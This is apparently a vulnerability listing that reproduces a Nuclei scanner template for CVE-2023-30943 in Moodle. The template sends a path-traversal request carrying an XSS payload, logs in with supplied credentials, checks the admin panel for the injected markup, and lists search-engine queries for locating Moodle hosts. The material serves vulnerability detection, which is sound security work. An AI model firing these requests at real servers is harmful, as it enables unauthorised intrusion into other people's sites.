The vulnerability was found Moodle which exists because the application allows a user to control path of the older to create in TinyMCE loaders. A remote user can send a specially crafted HTTP request and create arbitrary folders on the system. Moodle versions 4.1.x before 4.1.3 and 4.2.x before 4.2.0 are susceptible to an unauthenticated arbitrary folder creation, tracked as CVE-2023-30943. An attacker can leverage the creation of arbitrary folders to carry out a Stored Cross-Site Scripting (XSS) attack on the administration panel, resulting in arbitrary code execution on the server as soon as an administrator visits the panel.
PoC代码[已公开]
id: CVE-2023-30943
info:
name: Moodle - Cross-Site Scripting/Remote Code Execution
author: ritikchaddha
severity: medium
description: |
The vulnerability was found Moodle which exists because the application allows a user to control path of the older to create in TinyMCE loaders. A remote user can send a specially crafted HTTP request and create arbitrary folders on the system. Moodle versions 4.1.x before 4.1.3 and 4.2.x before 4.2.0 are susceptible to an unauthenticated arbitrary folder creation, tracked as CVE-2023-30943. An attacker can leverage the creation of arbitrary folders to carry out a Stored Cross-Site Scripting (XSS) attack on the administration panel, resulting in arbitrary code execution on the server as soon as an administrator visits the panel.
impact: |
Successful exploitation of these vulnerabilities could lead to unauthorized access, data theft, and potential compromise of the Moodle application and its users.
reference:
- https://www.sonarsource.com/blog/playing-dominos-with-moodles-security-1/?utm_source=twitter&utm_medium=social&utm_campaign=wordpress&utm_content=security&utm_term=mofu
- https://nvd.nist.gov/vuln/detail/CVE-2023-30943
- http://git.moodle.org/gw?p=moodle.git&a=search&h=HEAD&st=commit&s=MDL-77718
- https://bugzilla.redhat.com/show_bug.cgi?id=2188605
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/54TM5H5PDUDYXOQ7X7PPYWP4AJDAE73I/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
cvss-score: 5.3
cve-id: CVE-2023-30943
cwe-id: CWE-610,CWE-73
epss-score: 0.17533
epss-percentile: 0.94845
cpe: cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*
metadata:
max-request: 4
vendor: moodle
product: moodle
shodan-query:
- title:"Moodle"
- cpe:"cpe:2.3:a:moodle:moodle"
- http.title:"moodle"
fofa-query: title="moodle"
google-query: intitle:"moodle"
tags: cve,cve2023,moodle,xss,rce,authenticated
http:
- raw:
- |
GET /lib/editor/tiny/loader.php?rev=a/../../../../html/pix/f/<input><img%20src=x%20onerror=alert(document.domain)>.png HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
- |
GET /login/index.php HTTP/2
Host: {{Hostname}}
- |
POST /login/index.php HTTP/2
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
anchor=&logintoken={{token}}&username={{username}}&password={{password}}
- |
GET /admin/tool/filetypes/edit.php?name=add HTTP/1.1
Host: {{Hostname}}
host-redirects: true
matchers-condition: and
matchers:
- type: word
part: body_4
words:
- "<img src=x onerror=alert(document.domain)>"
- ">archive"
- "File icon"
condition: and
- type: word
part: header_4
words:
- text/html
- type: status
part: header_4
status:
- 200
extractors:
- type: regex
part: body
name: token
group: 1
regex:
- 'name="logintoken" value="([a-zA-Z0-9]+)">'
internal: true
# digest: 4b0a00483046022100b0b2d912ae09e7f80e076a3bec5df34b2f049d495b1b4d0488043d90d588fafa022100da69be43c46b3b1f34d852d82c80f8b0111d74bf6fb3770df6c63ce736fc6889:922c64590222798bb761d5b6d8e72950